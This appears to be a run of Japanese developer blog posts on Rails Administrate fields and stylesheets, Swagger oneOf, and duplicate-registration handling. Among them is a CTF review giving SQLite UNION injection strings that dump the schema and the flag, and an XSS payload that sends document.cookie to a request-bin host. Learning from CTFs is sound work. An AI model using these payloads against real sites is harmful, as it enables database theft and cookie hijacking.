【Rails】Administrateで独自の属性型を定義しReadonly等に対応する
目的
administrate
の管理画面での属性の表示を色々といじりたいときに、新しいクラスを作成して、対応する方法です。例えば、readonly
な表示をしたり、ラジオボタンに対応したりなどです。下のような感じ。今回はreadonly
を例にしてやります。
完成系
HogeDashboard
のidを下のように指定すれば、readonlyな表示になる。
class HogeDashboard < Administrate::BaseDashboard ATTRIBUTE_TYPES = { id: Field::NumberField.with_options(readonly: true), } end
土台をadministrateより生成する
http://administrate-prototype.herokuapp.com/customizing_attribute_partials
上のページにあるように、既に用意されているNumber
を継承して生成します。4つのファイルが生成されます。(上のページの先の説明と若干違う)
$ bin/rails g administrate:field number create app/fields/number_field.rb create app/views/fields/number_field/_show.html.erb create app/views/fields/number_field/_index.html.erb create app/views/fields/number_field/_form.html.erb
NumberFieldクラス
新たにreadonly?
というインスタンスメソッドを追加します。(あとで自分で呼び出すコードを書くので、特に決まった名前はないです。)これは、ダッシュボードで指定する:readonly
の値をoptions
から取り出して返します。(この辺りの動作はfetch
参照)
# app/fields/number_field.rb require "administrate/field/base" class NumberField < Administrate::Field::Base def to_s data end # ここから新規実装 def readonly? options.fetch(:readonly,false) end end
viewの部分
先ほど生成した残りの3つのファイルが表示部分を担当しております。今回はreadonly
ということで、edit
のページでのみいじれないようにすれば、index
等のページはそのままでも問題はないでしょう。なお私はslim
を使っているのでerb
の方とは若干書き方が異なります。
# app/views/fields/number_field/_form.html.slim .field-unit__label = f.label field.attribute .field-unit__field - if field.readonly? = f.text_field(field.attribute,disabled: "disabled") - else = f.text_field field.attribute
if
で先ほど実装したreadonly?
を呼び、readonly
がダッシュボードで指定されているか調べます。true
であれば、フィールドをreadonly
(見た目の都合上disabledを使用しました)で返し、そうでなければ普通のNumber
で描画します。
ラジオボタンなど他の実装であっても、ダッシュボードでwith_options
により適切な値を設定してあげ、それに対応する描画部分を(今回であればf.text_field(field.attribute,disabled: "disabled"))を書き換えてあげれば良いと思います。
復習回 maidakectf2019
この記事は
自分用です。。
参考
Kancolle Engine (SQLi)
LIKE句
にユーザ入力が入る問題でした。(問題ではsqlite3使用とのこと。) ワイルドカードとして、%
が0文字以上の任意の文字列、_
が任意の1文字を表すので、%
をフォームに投げるとたくさんレコードが表示されるので気づけるとのこと。
$ ' and 0 union select 1,2,3,4,5,6,7,8,9,10,11;# ->で動くか確認。(カラム数はヒントとしてソースから推測できた) $ ' and 0 union select sql,2,3,4,5,6,7,8,9,10,11 from sqlite_master;# ->sqlite_masterテーブルからsqlカラムを抜くことで、作られているテーブル名とカラム名が取得できる。ここから、flagテーブルにthis_is_flagカラムが存在することがわかる。 $ ' and 0 union select this_is_flag,2,3,4,5,6,7,8,9,10,11 from flag;#
Haiku contest
投稿内容を管理側で見てくれる(採点という名目)感じなサイト。Requestbin
を送り先にしてリクエストを飛ばさせればokだったけれど、なんか上手くいかなかった。
<script>(new Image).src='http://requestbinのドメイン/先/?'+document.cookie</script>
上を投げれば、クッキーが抜けてそれがそのままフラグになる。
phpで書かれたフォームへのPOST
何気なく手間取ってしまった。$_POSTはContent-type: application/x-www-form-urlencoded
かmultipart/form-data
の形式で受け取るとのこと。なので、json
形式で書いてもちゃんと受け取ってくれないです。
なので、x-www-form-urlencoded
ではa=1&b=1
のようなクエリパラメータの形式で投げてあげましょう。
【Swagger3.0】1つのステータスコードに対して複数のレスポンスを定義 (oneOf)
状況
Swagger
で、とあるapiのレスポンスにおいて、「同じステータスコードを返すんだけれど、body
の内容が違う場合がある」時、Swagger
のoneOf
という書き方で対応できます。(swagger3.0以上だったはず)
例
openapi: 3.0.0 ... 省略 ... paths: /hello: get: tags: - hellos description: ハローが帰ってくるapiです。 responses: '200': description: 登録されている支払い方法が返される。 content: application/json: schema: oneOf: - $ref: '#/components/responses/HelloResponse1' - $ref: "#/components/responses/HelloResponse2" examples: response1: summary: HelloResponse1の通常レスポンスです value: success1: message_title: Response1 message: ハロー1のレスポンスのexampleです response2: summary: HelloResponseの特別なレスポンスです value: success1: message_title: Response2 message: ハロー2のレスポンスのexampleです components: responses: HelloResponse1: type: object properties: success1: type: object properties: msg_title: type: string example: HelloResponse1 message: type: string example: ハロー1のレスポンスです。 HelloResponse2: type: object properties: success1: type: object properties: msg_title: type: string example: HelloResponse2 message: type: string example: ハロー2のレスポンスです。
画面ではこう表示されます。
examples
を定義したことにより、別のレスポンスを表示できるようになっています。
Schema
を選択すれば、oneOf
を使用して定義した部分を見ることができます。
あとはいい感じで定義してあげてください。レアケースかもしれませんが、意外と役立つと思います。
【Rails5】Administrateのスタイルシート読込先を変更する
やること
管理画面生成のgemadministrate
にてRails
のデフォルトのスタイルシートapplication.css
から、スタイルを読み込ませる方法。そんなに難しいことはしません。
方法
以下のコマンドで_styoesheet.html.erb
を生成します。これでadministrate
のデフォルト挙動のレイアウト周りを編集可能になります。
$ bin/rails generate administrate:views:layout
create app/views/layouts/admin/application.html.erb
create app/views/admin/application/_navigation.html.erb
create app/views/admin/application/_stylesheet.html.erb
create app/views/admin/application/_javascript.html.erb
create app/views/admin/application/_flashes.html.erb
こちらが生成される_stylesheet.html.erb
の中身。
# _stylesheet.html.erb <%# # Stylesheet Partial This partial imports the necessary stylesheets on each page. By default, it includes the application CSS, but each page can define additional CSS sources by providing a `content_for(:stylesheet)` block. %> <% Administrate::Engine.stylesheets.each do |css_path| %> <%= stylesheet_link_tag css_path %> <% end %> <%= yield :stylesheet %>
each
のなかに、読込先を記述します。今回であれば、デフォルトの所から呼び出すようにしたいので、application
を指定
<% Administrate::Engine.stylesheets.each do |css_path| %> <%= stylesheet_link_tag css_path %> <%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track': 'reload' %> <% end %>
これで、administarte
の画面から既存のスタイルシートを読込ことができます。
私はslim
を使っているのでerb
での動作確認はできてませんが、、管理画面しか使用しないプロジェクトなどではこっちの方がいいかもしれません。
【Rails】登録内容がユニークでないユーザへの条件別対応
例えば
ユーザが電話番号で仮登録をし、認証のためのURLを生成して返す場合、同じ電話番号を使って再度仮登録の内容をPOSTしてくる場合がある。1時間以内に2回送ってくる人は恐らくイタズラに近い可能性があるのでエラーを返すが、それ以降に再度送ってきた場合、本当に認証のURLを紛失している可能性がある。
処理方法
まずPOSTされた電話番号が既に登録されているか確認する。
user = User.find_or_initialize_by(tel_number: q[:tel_number])
これで既に登録されていた場合はそのレコードを取得できる。
このレコードが新規のものか確認し、そうでないなら前回送信してから1時間経過しているかを判定する。
if !user.new_record? return raise HogeError if user.requested_at > Time.current - 60.minutes end
requested_at
は前回送信する際に保存した送信時間。もし新規レコード(初めての仮登録)ならここもパスする。
レコードを更新or保存する
user.update_attributes!( registered_url: https://hogehoge.. token: hogehoge.. requested_at: Time.current )
これで、新規登録、重複の登録に対応することが可能。